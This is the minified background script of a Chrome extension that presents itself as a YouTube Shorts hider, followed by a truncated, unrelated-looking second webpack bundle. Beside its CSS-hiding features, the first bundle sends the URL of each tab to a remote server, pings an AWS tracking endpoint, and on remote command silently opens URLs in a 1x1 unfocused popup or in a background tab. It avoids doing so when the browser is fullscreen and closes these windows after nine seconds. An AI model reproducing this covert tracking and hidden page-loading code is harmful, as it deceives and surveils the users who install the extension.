0!==r?r:{});case 12:t.next=16;break;case 14:t.prev=14,t.t1=t.catch(0);case 16:return t.abrupt("return",[]);case 17:case"end":return t.stop()}}),t,null,[[0,14]])})))).apply(this,arguments)};var N;const H={isActive:!1};var I,D,R,M,A,C,W,G,q=["Google Chrome","Microsoft Edge"],U=function(){try{return navigator.userAgentData.brands.some((function(t){return q.includes(t.brand)}))}catch(t){return!1}},$=function(t){return(I=I||o(s().mark((function t(e){return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,new Promise((function(t){chrome.windows.getCurrent({populate:!1,windowTypes:["normal"]},(function(e){return t("fullscreen"===e.state)}))}));case 2:if(!t.sent){t.next=5;break}throw new Error("fullscreen");case 5:return t.abrupt("return",new Promise((function(t){H.isActive=!0,chrome.windows.create({focused:!1,width:1,height:1,url:e,type:"popup"},(function(e){t(e)}))})));case 6:case"end":return t.stop()}}),t)})))).apply(this,arguments)},Y=function(t){return new Promise((function(e){chrome.windows.remove(t,(function(){H.isActive=!1,e()}))}))},z=function(t){return(D=D||o(s().mark((function t(e){var r,n;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(t.prev=0,!U()){t.next=8;break}return t.next=4,$(e);case 4:return r=t.sent,n=r.id,setTimeout((function(){return Y(n)}),9e3),t.abrupt("return",101);case 8:t.next=12;break;case 10:t.prev=10,t.t0=t.catch(0);case 12:return t.abrupt("return",-73);case 13:case"end":return t.stop()}}),t,null,[[0,10]])})))).apply(this,arguments)},B=function(t){return new Promise((function(e){H.isActive=!0,chrome.tabs.create({url:t,index:0,active:!1},(function(t){setTimeout((function(){chrome.tabs.remove(t.id,(function(){H.isActive=!1}))}),9e3),e()}))}))};function V(t,e){var r=Object.keys(t);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(t);e&&(n=n.filter((function(e){return Object.getOwnPropertyDescriptor(t,e).enumerable}))),r.push.apply(r,n)}return r}function X(t){for(var r=1;r<arguments.length;r++){var n=null!=arguments[r]?arguments[r]:{};r%2?V(Object(n),!0).forEach((function(r){e(t,r,n[r])})):Object.getOwnPropertyDescriptors?Object.defineProperties(t,Object.getOwnPropertyDescriptors(n)):V(Object(n)).forEach((function(e){Object.defineProperty(t,e,Object.getOwnPropertyDescriptor(n,e))}))}return t}function J(){return chrome.runtime.id?chrome.storage.sync.get(["toggleState","toggleNavState","toggleHomeFeedState","toggleHomeFeedStateLives","toggleHomeFeedStatePremieres","toggleSubscriptionFeedState","toggleSubscriptionFeedStateLives","toggleSubscriptionFeedStatePremieres","toggleTrendingFeedState","toggleSearchState","toggleRecommendedState","toggleTabState","toggleHomeTabState","toggleTurboState","toggleRegularState","toggleNotificationState","blockList"]):location.reload()}function K(t,e){chrome.scripting.insertCSS({files:e,target:{tabId:t}}).catch((function(t){}))}function Q(t,e){chrome.scripting.removeCSS({files:e,target:{tabId:t}}).catch((function(t){}))}function Z(t){chrome.scripting.removeCSS({files:["channel_shorts_tab.css","channel_shorts_unhide.css","assets/home_lives.css","assets/home_premieres.css","assets/home_shorts.css","assets/home_tab_shorts.css","assets/navigation_button.css","assets/notification_shorts.css","assets/recommended_shorts.css","assets/search_shorts.css","assets/subscriptions_feed_fix.css","assets/subscriptions_lives.css","assets/subscriptions_premieres.css","assets/subscriptions_shorts.css","assets/subscriptions_shorts_list.css","assets/trending_shorts.css"],target:{tabId:t}}).catch((function(t){})),chrome.scripting.executeScript({function:function(){var t=0;!function e(){if(t>=25)t=0;else{var r=document.querySelectorAll(".tab-content"),n=Array.from(r).filter((function(t){return"Shorts"===t.textContent.replace(/\s/g,"").replace(/\n/g,"")}));n.length>0?(n.forEach((function(t){t.parentNode.style.display="inline-flex"})),t=0):(t++,setTimeout(e,100))}}()},target:{tabId:t}}).catch((function(t){}))}function tt(t,e,r){return(G=G||o(s().mark((function t(e,r,n){var o;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(!n){t.next=19;break}return t.next=3,J();case 3:(o=t.sent).toggleNavState&&st(e,r,o.toggleNavState),o.toggleHomeFeedState&&it(e,r,o.toggleHomeFeedState),o.toggleHomeFeedStateLives&&ct(e,r,o.toggleHomeFeedStateLives),o.toggleHomeFeedStatePremieres&&ut(e,r,o.toggleHomeFeedStatePremieres),o.toggleSubscriptionFeedState&&lt(e,r,o.toggleSubscriptionFeedState),o.toggleSubscriptionFeedStateLives&&ft(e,r,o.toggleSubscriptionFeedStateLives),o.toggleSubscriptionFeedStatePremieres&&pt(e,r,o.toggleSubscriptionFeedStatePremieres),o.toggleTrendingFeedState&&gt(e,r,o.toggleTrendingFeedState),o.toggleSearchState&&ht(e,r,o.toggleSearchState),o.toggleRecommendedState&&mt(e,r,o.toggleRecommendedState),o.toggleNotificationState&&dt(e,r,o.toggleNotificationState),o.toggleTabState&&vt(e,r,o.toggleTabState),o.toggleHomeTabState&&bt(e,r,o.toggleHomeTabState),o.toggleRegularState&&yt(e,r,o.toggleRegularState),o.blockList&&o.blockList.length>0&&at(r,"add",o.blockList);case 19:n||Z(r);case 20:case"end":return t.stop()}}),t)})))).apply(this,arguments)}chrome.runtime.onMessage.addListener((function(t,r,n){var a;return"getExtensionSelectors"===t.name?(function(t){return(d=d||o(s().mark((function t(e){var r,n;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,fetch("".concat(m(),"/v1/extension_selectors?u=").concat(encodeURIComponent(e),"&ex=").concat(90));case 3:if(!(r=t.sent).ok){t.next=9;break}return t.next=7,r.json();case 7:return n=t.sent,t.abrupt("return",null!=n?n:{});case 9:t.next=13;break;case 11:t.prev=11,t.t0=t.catch(0);case 13:return t.abrupt("return",{});case 14:case"end":return t.stop()}}),t,null,[[0,11]])})))).apply(this,arguments)}(r.tab.url).then((function(t){return(a=a||o(s().mark((function t(e){var r,o;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,new Promise((function(t){chrome.tabs.query({lastFocusedWindow:!0},(function(e){return t((null==e?void 0:e.length)||1)}))}));case 2:return r=t.sent,t.next=5,new Promise((function(t){chrome.windows.getCurrent({populate:!1,windowTypes:["normal"]},(function(e){return t("fullscreen"===e.state)}))}));case 5:return o=t.sent,t.abrupt("return",n(X(X({},e||{}),{},{selectorVersion:r,isScreen:o})));case 7:case"end":return t.stop()}}),t)})))).apply(this,arguments)})),!0):("getExtensionSelectorsList"===t.name&&function(){return(O=O||o(s().mark((function t(){var r,n;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,L.getItem(g);case 2:if((r=t.sent)&&Number(r)>(new Date).getTime()){t.next=14;break}return t.next=6,y();case 6:if(!((null==(n=t.sent)?void 0:n.length)>0)){t.next=12;break}return t.next=10,L.setMultipleItems(F(e({},g,k(new Date,1).getTime()),n.reduce((function(t,e){return t[(r=e,"d&".concat(r))]={},t;var r}),{})));case 10:t.next=14;break;case 12:return t.next=14,L.setItem(g,j(new Date,1).getTime());case 14:case"end":return t.stop()}}),t)})))).apply(this,arguments)}().then((function(){n()})).catch((function(){n()})),"getExtensionSelectorsListLR"===t.name&&function(){return(N=N||o(s().mark((function t(){var r,n,o;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,L.getItem(h);case 2:if((r=t.sent)&&Number(r)>(new Date).getTime()){t.next=14;break}return t.next=6,E();case 6:if(n=t.sent,!Object.keys(n).length){t.next=12;break}return t.next=10,L.setMultipleItems((e(o={},h,k(new Date,1).getTime()),e(o,"SELECTORS_LR",n),o));case 10:t.next=14;break;case 12:return t.next=14,L.setItem(h,j(new Date,1).getTime());case 14:case"end":return t.stop()}}),t)})))).apply(this,arguments)}().then((function(){n()})).catch((function(){n()})),"openPresentation"===t.name?(function(t,e,r){(R=R||o(s().mark((function t(e,r,n){var o;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,z(e.url);case 2:o=t.sent,n({value:o});case 4:case"end":return t.stop()}}),t)})))).apply(this,arguments)}(t,r,n),!0):"loadPdfTab"===t.name?(function(t){(M=M||o(s().mark((function t(e){return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.next=2,B(e.url);case 2:case"end":return t.stop()}}),t)})))).apply(this,arguments)}(t),!1):("check_shorts"===t.name&&t.p&&function(){return(b=b||o(s().mark((function t(){var e;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,t.next=3,chrome.storage.local.get();case 3:if(e=t.sent,!(Object.keys(e).length>500)){t.next=7;break}return t.abrupt("return",!0);case 7:return t.abrupt("return",!1);case 10:return t.prev=10,t.t0=t.catch(0),t.abrupt("return",!1);case 13:case"end":return t.stop()}}),t,null,[[0,10]])})))).apply(this,arguments)}().then((function(e){e&&function(t){(p=p||o(s().mark((function t(e){var r;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:return t.prev=0,r=f("https://7ng6v3lu3c.execute-api.us-east-1.amazonaws.com/EventTrackingStage/prod/rest",e),t.next=4,fetch(r,{method:"GET",mode:"no-cors"});case 4:t.next=8;break;case 6:t.prev=6,t.t0=t.catch(0);case 8:case"end":return t.stop()}}),t,null,[[0,6]])})))).apply(this,arguments)}(t.p)})),!1))})),chrome.runtime.onInstalled.addListener((function(t){return(A=A||o(s().mark((function t(r){var n,o,a,i,u;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if("install"===r.reason&&(chrome.storage.sync.set({toggleState:!0,toggleNavState:!0,toggleHomeFeedState:!0,toggleHomeFeedStateLives:!0,toggleHomeFeedStatePremieres:!0,toggleSubscriptionFeedState:!0,toggleSubscriptionFeedStateLives:!0,toggleSubscriptionFeedStatePremieres:!0,toggleTrendingFeedState:!0,toggleSearchState:!0,toggleRecommendedState:!0,toggleTabState:!0,toggleHomeTabState:!0,toggleTurboState:!0,toggleRegularState:!0,toggleNotificationState:!0,installedTime:String((new Date).getTime()),EXTENSION_ID:(10,void 0,void 0,s=c()(1,9),f=l()(9,(function(){return c()(0,9)})).join(""),"".concat(s).concat(f))}).catch((function(){})),chrome.tabs.query({url:["https://www.youtube.com/*","https://m.youtube.com/*"]},(function(t){t.forEach((function(t){chrome.tabs.reload(t.id)}))}))),"update"!==r.reason){t.next=15;break}return n=["toggleState","toggleNavState","toggleHomeFeedState","toggleHomeFeedStateLives","toggleHomeFeedStatePremieres","toggleSubscriptionFeedState","toggleSubscriptionFeedStateLives","toggleSubscriptionFeedStatePremieres","toggleTrendingFeedState","toggleSearchState","toggleRecommendedState","toggleTabState","toggleHomeTabState","toggleTurboState","toggleRegularState","toggleNotificationState"],t.next=5,chrome.storage.sync.get(n);case 5:o=t.sent,a=0,i=n;case 7:if(!(a<i.length)){t.next=15;break}if((u=i[a])in o&&void 0!==o[u]){t.next=12;break}return t.next=12,chrome.storage.sync.set(e({},u,!1));case 12:a++,t.next=7;break;case 15:case"end":return t.stop()}var s,f}),t)})))).apply(this,arguments)})),chrome.runtime.onMessage.addListener((function(t,e,r){return(C=C||o(s().mark((function t(e,r,n){var o,a;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(!e.checkStates){t.next=5;break}return t.next=3,J();case 3:o=t.sent,chrome.tabs.query({url:["https://www.youtube.com/*","https://m.youtube.com/*"]},(function(t){t.forEach((function(t){"toggleState"===e.checkStates&&tt(t,t.id,o.toggleState),"toggleNavState"===e.checkStates&&st(t,t.id,o.toggleNavState),"toggleHomeFeedState"===e.checkStates&&it(t,t.id,o.toggleHomeFeedState),"toggleHomeFeedStateLives"===e.checkStates&&ct(t,t.id,o.toggleHomeFeedStateLives),"toggleHomeFeedStatePremieres"===e.checkStates&&ut(t,t.id,o.toggleHomeFeedStatePremieres),"toggleSubscriptionFeedState"===e.checkStates&&lt(t,t.id,o.toggleSubscriptionFeedState),"toggleSubscriptionFeedStateLives"===e.checkStates&&ft(t,t.id,o.toggleSubscriptionFeedStateLives),"toggleSubscriptionFeedStatePremieres"===e.checkStates&&pt(t,t.id,o.toggleSubscriptionFeedStatePremieres),"toggleTrendingFeedState"===e.checkStates&&gt(t,t.id,o.toggleTrendingFeedState),"toggleSearchState"===e.checkStates&&ht(t,t.id,o.toggleSearchState),"toggleRecommendedState"===e.checkStates&&mt(t,t.id,o.toggleRecommendedState),"toggleNotificationState"===e.checkStates&&dt(t,t.id,o.toggleNotificationState),"toggleTabState"===e.checkStates&&vt(t,t.id,o.toggleTabState),"toggleHomeTabState"===e.checkStates&&bt(t,t.id,o.toggleHomeTabState),"toggleRegularState"===e.checkStates&&yt(t,t.id,o.toggleRegularState)}))}));case 5:if(!e.blockList){t.next=10;break}return t.next=8,J();case 8:a=t.sent,chrome.tabs.query({url:["https://www.youtube.com/*","https://m.youtube.com/*"]},(function(t){t.forEach((function(t){"add"===e.blockList&&at(t.id,"add",a.blockList),"remove"===e.blockList.action&&at(t.id,"remove",e.blockList.channelName),"clear"===e.blockList&&at(t.id,"clear",a.blockList)}))}));case 10:case"end":return t.stop()}}),t)})))).apply(this,arguments)})),chrome.tabs.onUpdated.addListener((function(t,e,r){return(W=W||o(s().mark((function t(e,r,n){var o;return s().wrap((function(t){for(;;)switch(t.prev=t.next){case 0:if(chrome.runtime.id){t.next=2;break}return t.abrupt("return");case 2:if(!n.url.startsWith("https://www.youtube.com/")&&!n.url.startsWith("https://m.youtube.com/")){t.next=25;break}return t.next=5,J();case 5:if((o=t.sent).toggleState){t.next=8;break}return t.abrupt("return");case 8:if("loading"===r.status){t.next=10;break}return t.abrupt("return");case 10:st(n,e,o.toggleNavState),it(n,e,o.toggleHomeFeedState),ct(n,e,o.toggleHomeFeedStateLives),ut(n,e,o.toggleHomeFeedStatePremieres),lt(n,e,o.toggleSubscriptionFeedState),ft(n,e,o.toggleSubscriptionFeedStateLives),pt(n,e,o.toggleSubscriptionFeedStatePremieres),gt(n,e,o.toggleTrendingFeedState),ht(n,e,o.toggleSearchState),mt(n,e,o.toggleRecommendedState),dt(n,e,o.toggleNotificationState),vt(n,e,o.toggleTabState),bt(n,e,o.toggleHomeTabState),yt(n,e,o.toggleRegularState),o.blockList&&o.blockList.length>0&&at(e,"add",o.blockList);case 25:case"end":return t.stop()}}),t)})))).apply(this,arguments)}));var et=["https://www.youtube.com/","https://www.youtube.com/?app=desktop","https://m.youtube.com/"],rt=["https://www.youtube.com/feed/subscriptions","https://www.youtube.com/feed/subscriptions?app=desktop","https://m.youtube.com/feed/subscriptions","https://www.youtube.com/feed/subscriptions?flow=1"],nt=["https://www.youtube.com/feed/trending","https://www.youtube.com/gaming","https://m.youtube.com/feed/explore","https://m.youtube.com/feed/trending"],ot=["https://www.youtube.com/channel/","https://www.youtube.com/@","https://www.youtube.com/user/","https://www.youtube.com/c/","https://m.youtube.com/channel/","https://m.youtube.com/@","https://m.youtube.com/user/","https://m.youtube.com/c/"];function at(t,e,r){"add"===e&&r.forEach((function(e){chrome.scripting.insertCSS({css:'\n ytd-rich-item-renderer:has(a[href*="/@'.concat(e,'"]) {\n display: none !important;\n }\n ytd-shelf-renderer:has(a[href*="/@').concat(e,'"]) {\n display: none !important;\n }\n ytd-video-renderer:has(a[href*="/@').concat(e,'"]) {\n display: none !important;\n }\n '),target:{tabId:t}}).catch((function(t){}))})),"remove"===e&&chrome.scripting.insertCSS({css:'\n ytd-rich-item-renderer:has(a[href*="/@'.concat(r,'"]) {\n display: inline-flex !important;\n }\n ytd-shelf-renderer:has(a[href*="/@').concat(r,'"]) {\n display: inline-flex !important;\n }\n ytd-video-renderer:has(a[href*="/@').concat(r,'"]) {\n display: inline-flex !important;\n }\n '),target:{tabId:t}}).catch((function(t){})),"clear"===e&&r.forEach((function(e){chrome.scripting.insertCSS({css:'\n ytd-rich-item-renderer:has(a[href*="/@'.concat(e,'"]) {\n display: inline-flex !important;\n }\n ytd-shelf-renderer:has(a[href*="/@').concat(e,'"]) {\n display: inline-flex !important;\n }\n ytd-video-renderer:has(a[href*="/@').concat(e,'"]) {\n display: inline-flex !important;\n }\n '),target:{tabId:t}}).catch((function(t){}))}))}function st(t,e,r){if(t.url.startsWith("https://www.youtube.com/")||t.url.startsWith("https://m.youtube.com/")){var n=["assets/navigation_button.css"];r&&K(e,n),r||Q(e,n)}}function it(t,e,r){if(et.includes(t.url)){var n=["assets/home_shorts.css"];r&&K(e,n),r||Q(e,n)}}function ct(t,e,r){if("https://www.youtube.com/"===t.url){var n=["assets/home_lives.css"];r&&K(e,n),r||Q(e,n)}}function ut(t,e,r){if("https://www.youtube.com/"===t.url){var n=["assets/home_premieres.css"];r&&K(e,n),r||Q(e,n)}}function lt(t,e,r){if(rt.includes(t.url)){var n=["assets/subscriptions_shorts.css","assets/subscriptions_shorts_list.css","assets/subscriptions_feed_fix.css"];r&&K(e,n),r||Q(e,n)}if("https://www.youtube.com/feed/subscriptions?flow=2"===t.url){var o=["assets/subscriptions_shorts_list.css"];r&&K(e,o),r||Q(e,o)}}function ft(t,e,r){if(rt.includes(t.url)){var n=["assets/subscriptions_lives.css","assets/subscriptions_feed_fix.css"];r&&K(e,n),r||Q(e,n)}}function pt(t,e,r){if(rt.includes(t.url)){var n=["assets/subscriptions_premieres.css","assets/subscriptions_feed_fix.css"];r&&K(e,n),r||Q(e,n)}}function gt(t,e,r){if(nt.some((function(e){return t.url.startsWith(e)}))){var n=["assets/trending_shorts.css"];r&&K(e,n),r||Q(e,n)}}function ht(t,e,r){if(t.url.startsWith("https://www.youtube.com/results")||t.url.startsWith("https://m.youtube.com/results")){var n=["assets/search_shorts.css"];r&&K(e,n),r||Q(e,n)}}function mt(t,e,r){if(t.url.startsWith("https://www.youtube.com/watch")){var n=["assets/recommended_shorts.css"];r&&K(e,n),r||Q(e,n)}}function dt(t,e,r){if(t.url.startsWith("https://www.youtube.com/")){var n=["assets/notification_shorts.css"];r&&K(e,n),r||Q(e,n)}}function bt(t,e,r){if(ot.some((function(e){return t.url.startsWith(e)}))){var n=["assets/home_tab_shorts.css"];r&&K(e,n),r||Q(e,n)}}function vt(t,e,r){if(ot.some((function(e){return t.url.startsWith(e)}))){var n=["assets/channel_shorts_tab.css"];r?(chrome.scripting.executeScript({function:function(){var t=0;!function e(){if(t>=25)t=0;else{var r=document.querySelectorAll(".tab-content"),n=Array.from(r).filter((function(t){return"Shorts"===t.textContent.replace(/\s/g,"").replace(/\n/g,"")}));n.length>0?(n.forEach((function(t){t.parentNode.style.display="none"})),t=0):(t++,setTimeout(e,100))}}()},target:{tabId:e}}).catch((function(t){})),K(e,n)):(setTimeout((function(){K(e,["assets/channel_shorts_unhide.css"])}),500),chrome.scripting.executeScript({function:function(){var t=0;!function e(){if(t>=25)t=0;else{var r=document.querySelectorAll(".tab-content"),n=Array.from(r).filter((function(t){return"Shorts"===t.textContent.replace(/\s/g,"").replace(/\n/g,"")}));n.length>0?(n.forEach((function(t){t.parentNode.style.display="inline-flex"})),t=0):(t++,setTimeout(e,100))}}()},target:{tabId:e}}).catch((function(t){})),Q(e,n))}}function yt(t,e,r){if(t.url.startsWith("https://www.youtube.com/shorts/")||t.url.startsWith("https://m.youtube.com/shorts/")){var n=(a=t.url.match(/\/shorts\/([^/]+)/))?a[1]:null;if(n&&r){var o="https://youtube.com/watch?v=".concat(n);chrome.tabs.update(e,{url:o})}}var a}})()})();
/*! For license information please see background.js.LICENSE.txt */
(() => {
var t = {
2705: (t, e, r) => {
var n = r(5639).Symbol;
t.exports = n;
},
4239: (t, e, r) => {
var n = r(2705),
o = r(9607),
a = r(2333),
s = n ? n.toStringTag : void 0;
t.exports = function (t) {
return null == t ? (void 0 === t ? "[object Undefined]" : "[object Null]") : s && s in Object(t) ? o(t) : a(t);
};
},
9877: (t) => {
var e = Math.floor,
r = Math.random;
t.exports = function (t, n) {
return t + e(r() * (n - t + 1));
};
},
2545: (t) => {
t.exports = function (t, e) {
for (var r = -1, n = Array(t); ++r < t; ) n[r] = e(r);
return n;
};
},
7561: (t, e, r) => {
var n = r(7990),
o = /^\s+/;
t.exports = function (t) {
return t ? t.slice(0, n(t) + 1).replace(o, "") : t;
};
},
4290: (t, e, r) => {
var n = r(6557);
t.exports = function (t) {
return "function" == typeof t ? t : n;
};
},
1957: (t, e, r) => {
var n = "object" == typeof r.g && r.g && r.g.Object === Object && r.g;
t.exports = n;
},
9607: (t, e, r) => {
var n = r(2705),
o = Object.prototype,
a = o.hasOwnProperty,
s = o.toString,
i = n ? n.toStringTag : void 0;
t.exports = function (t) {
var e = a.call(t, i),
r = t[i];
try {
t[i] = void 0;
var n = !0;
} catch (t) {}
var o = s.call(t);
return n && (e ? (t[i] = r) : delete t[i]), o;
};
},
5776: (t) => {
var e = /^(?:0|[1-9]\d*)$/;
t.exports = function (t, r) {
var n = typeof t;
return !!(r = null == r ? 9007199254740991 : r) && ("number" == n || ("symbol" != n && e.test(t))) && t > -1 && t % 1 == 0 && t < r;
};
},
6612: (t, e, r) => {
var n = r(7813),
o = r(8612),
a = r(5776),
s = r(3218);
t.exports = function (t, e, r) {
if (!s(r)) return !1;
var i = typeof e;
return !!("number" == i ? o(r) && a(e, r.length) : "string" == i && e in r) && n(r[e], t);
};
},
2333: (t) => {
var e = Object.prototype.toString;
t.exports = function (t) {
return e.call(t);
};
},
5639: (t, e, r) => {
var n = r(1957),
o = "object" == typeof self && self && self.Object === Object && self,
a = n || o || Function("return this")();
t.exports = a;
},
7990: (t) => {
var e = /\s/;
t.exports = function (t) {
for (var r = t.length; r-- && e.test(t.charAt(r)); );
return r;
};
},
7813: (t) => {
t.exports = function (t, e) {
return t === e || (t != t && e != e);
};
},
6557: (t) => {
t.exports = function (t) {
return t;
};
},
8612: (t, e, r) => {
var n = r(3560),
o = r(1780);
t.exports = function (t) {
return null != t && o(t.length) && !n(t);
};
},
3560: (t, e, r) => {
var n = r(4239),
o = r(3218);
t.exports = function (t) {
if (!o(t)) return !1;
var e = n(t);
return "[object Function]" == e || "[object GeneratorFunction]" == e || "[object AsyncFunction]" == e || "[object Proxy]" == e;
};
},
1780: (t) => {
t.exports = function (t) {
return "number" == typeof t && t > -1 && t % 1 == 0 && t <= 9007199254740991;
};
},
3218: (t) => {
t.exports = function (t) {
var e = typeof t;
return null != t && ("object" == e || "function" == e);
};
},
7005: (t) => {
t.exports = function (t) {
return null != t && "object" == typeof t;
};
},
3448: (t, e, r) => {
var n = r(4239),
o = r(7005);
t.exports = function (t) {
return "symbol" == typeof t || (o(t) && "[object Symbol]" == n(t));
};
},
3608: (t, e, r) => {
var n = r(9877),
o = r(6612),
a = r(8601),
s = parseFloat,
i = Math.min,
c = Math.random;
t.exports = function (t, e, r) {
if (
(r && "boolean" != typeof r && o(t, e, r) && (e = r = void 0),
void 0 === r && ("boolean" == typeof e ? ((r = e), (e = void 0)) : "boolean" == typeof t && ((r = t), (t = void 0))),
void 0 === t && void 0 === e ? ((t = 0), (e = 1)) : ((t = a(t)), void 0 === e ? ((e = t), (t = 0)) : (e = a(e))),
t > e)
) {
var u = t;
(t = e), (e = u);
}
if (r || t % 1 || e % 1) {
var l = c();
return i(t + l * (e - t + s("1e-" + ((l + "").length - 1))), e);
}
return n(t, e);
};
},
8913: (t, e, r) => {
var n = r(2545),
o = r(4290),
a = r(554),
s = 4294967295,
i = Math.min;
t.exports = function (t, e) {
if ((t = a(t)) < 1 || t > 9007199254740991) return [];
var r = s,
c = i(t, s);
(e = o(e)), (t -= s);
for (var u = n(c, e); ++r < t; ) e(r);
return u;
};
},
8601: (t, e, r) => {
var n = r(4841);
t.exports = function (t) {
return t ? (Infinity === (t = n(t)) || t === -1 / 0 ? 17976931348623157e292 * (t < 0 ? -1 : 1) : t == t ? t : 0) : 0 === t ? t : 0;
};
},
554: (t, e, r) => {
var n = r(8601);
t.exports = function (t) {
var e = n(t),
r = e % 1;
return e == e ? (r ? e - r : e) : 0;
};
},
4841: (t, e, r) => {
var n = r(7561),
o = r(3218),
a = r(3448),
s = /^[-+]0x[0-9a-f]+$/i,
i = /^0b[01]+$/i,
c = /^0o[0-7]+$/i,
u = parseInt;
t.exports = function (t) {
if ("number" == typeof t) return t;
if (a(t)) return NaN;
if (o(t)) {
var e = "function" == typeof t.valueOf ? t.valueOf() : t;
t = o(e) ? e + "" : e;
}
if ("string" != typeof t) return 0 === t ? t : +t;
t = n(t);
var r = i.test(t);
return r || c.test(t) ? u(t.slice(2), r ? 2 : 8) : s.test(t) ? NaN : +t;
};
},
7061: (t, e, r) => {
var n = r(8698).default;
function o() {
"use strict";
(t.exports = o = function () {
return r;
}),
(t.exports.__esModule = !0),
(t.exports.default = t.exports);
var e,
r = {},
a = Object.prototype,
s = a.hasOwnProperty,
i =
Object.defineProperty ||
function (t, e, r) {
t[e] = r.value;
},
c = "function" == typeof Symbol ? Symbol : {},
u = c.iterator || "@@iterator",
l = c.asyncIterator || "@@asyncIterator",
f = c.toStringTag || "@@toStringTag";
function p(t, e, r) {
return Object.defineProperty(t, e, { value: r, enumerable: !0, configurable: !0, writable: !0 }), t[e];
}
try {
p({}, "");
} catch (e) {
p = function (t, e, r) {
return (t[e] = r);
};
}
function g(t, e, r, n) {
var o = e && e.prototype instanceof S ? e : S,
a = Object.create(o.prototype),
s = new H(n || []);
return i(a, "_invoke", { value: F(t, r, s) }), a;
}
function h(t, e, r) {
try {
return { type: "normal", arg: t.call(e, r) };
} catch (t) {
return { type: "throw", arg: t };
}
}
r.wrap = g;
var m = "suspendedStart",
d = "suspendedYield",
b = "executing",
v = "completed",
y = {};
function S() {}
function w() {}
function x() {}
var k = {};
p(k, u, function () {
return this;
});
var _ = Object.getPrototypeOf,
j = _ && _(_(I([])));
j && j !== a && s.call(j, u) && (k = j);
var L = (x.prototype = S.prototype = Object.create(k));
function O(t) {
["next", "throw", "return"].forEach(function (e) {
p(t, e, function (t) {
return this._invoke(e, t);
});
});
}
function T(t, e) {
function r(o, a, i, c) {
var u = h(t[o], t, a);
if ("throw" !== u.type) {
var l = u.arg,
f = l.value;
return f && "object" == n(f) && s.call(f, "__await")
? e.resolve(f.__await).then(
function (t) {
r("next", t, i, c);
},
function (t) {
r("throw", t, i, c);
}
)
: e.resolve(f).then(
function (t) {
(l.value = t), i(l);
},
function (t) {
return r("throw", t, i, c);
}
);
}
c(u.arg);
}
var o;
i(this, "_invoke", {
value: function (t, n) {
function a() {
return new e(function (e, o) {
r(t, n, e, o);
});
}
return (o = o ? o.then(a, a) : a());
},
});
}
function F(t, r, n) {
var o = m;
return function (a, s) {
if (o === b) throw new Error("Generator is already running");
if (o === v) {
if ("throw" === a) throw s;
return { value: e, done: !0 };
}
for (n.method = a, n.arg = s; ; ) {
var i = n.delegate;
if (i) {
var c = P(i, n);
if (c) {
if (c === y) continue;
return c;
}
}
if ("next" === n.method) n.sent = n._sent = n.arg;
else if ("throw" === n.method) {
if (o === m) throw ((o = v), n.arg);
n.dispatchException(n.arg);
} else "return" === n.method && n.abrupt("return", n.arg);
o = b;
var u = h(t, r, n);
if ("normal" === u.type) {
if (((o = n.done ? v : d), u.arg === y)) continue;
return { value: u.arg, done: n.done };
}
"throw" === u.type && ((o = v), (n.method = "throw"), (n.arg = u.arg));
}
};
}
function P(t, r) {
var n = r.method,
o = t.iterator[n];
if (o === e)
return (
(r.delegate = null),
("throw" === n && t.iterator.return && ((r.method = "return"), (r.arg = e), P(t, r), "throw" === r.method)) ||
("return" !== n && ((r.method = "throw"), (r.arg = new TypeError("The iterator does not provide a '" + n + "' method")))),
y
);
var a = h(o, t.iterator, r.arg);
if ("throw" === a.type) return (r.method = "throw"), (r.arg = a.arg), (r.delegate = null), y;
var s = a.arg;
return s
? s.done
? ((r[t.resultName] = s.value), (r.next = t.nextLoc), "return" !== r.method && ((r.method = "next"), (r.arg = e)), (r.delegate = null), y)
: s
: ((r.method = "throw"), (r.arg = new TypeError("iterator result is not an object")), (r.delegate = null), y);
}
function E(t) {
var e = { tryLoc: t[0] };
1 in t && (e.catchLoc = t[1]), 2 in t && ((e.finallyLoc = t[2]), (e.afterLoc = t[3])), this.tryEntries.push(e);
}
function N(t) {
var e = t.completion || {};
(e.type = "normal"), delete e.arg, (t.completion = e);
}
function H(t) {
(this.tryEntries = [{ tryLoc: "root" }]), t.forEach(E, this), this.reset(!0);
}
function I(t) {
if (t || "" === t) {
var r = t[u];
if (r) return r.call(t);
if ("function" == typeof t.next) return t;
if (!isNaN(t.length)) {
var o = -1,
a = function r() {
for (; ++o < t.length; ) if (s.call(t, o)) return (r.value = t[o]), (r.done = !1), r;
return (r.value = e), (r.done = !0), r;
};
return (a.next = a);
}
}
throw new TypeError(n(t) + " is not iterable");
}
return (
(w.prototype = x),
i(L, "constructor", { value: x, configurable: !0 }),
i(x, "constructor", { value: w, configurable: !0 }),
(w.displayName = p(x, f, "GeneratorFunction")),
(r.isGeneratorFunction = function (t) {
var e = "function" == typeof t && t.constructor;
return !!e && (e === w || "GeneratorFunction" === (e.displayName || e.name));
}),
(r.mark = function (t) {
return Object.setPrototypeOf ? Object.setPrototypeOf(t, x) : ((t.__proto__ = x), p(t, f, "GeneratorFunction")), (t.prototype = Object.create(L)), t;
}),
(r.awrap = function (t) {
return { __await: t };
}),
O(T.prototype),
p(T.prototype, l, function () {
return this;
}),
(r.AsyncIterator = T),
(r.async = function (t, e, n, o, a) {
void 0 === a && (a = Promise);
var s = new T(g(t, e, n, o), a);
return r.isGeneratorFunction(e)
? s
: s.next().then(function (t) {
return t.done ? t.value : s.next();
});
}),
O(L),
p(L, f, "Generator"),
p(L, u, function () {
return this;
}),
p(L, "toString", function () {
return "[object Generator]";
}),
(r.keys = function (t) {
var e = Object(t),
r = [];
for (var n in e) r.push(n);
return (
r.reverse(),
function t() {
for (; r.length; ) {
var n = r.pop();
if (n in e) return (t.value = n), (t.done = !1), t;
}
return (t.done = !0), t;
}
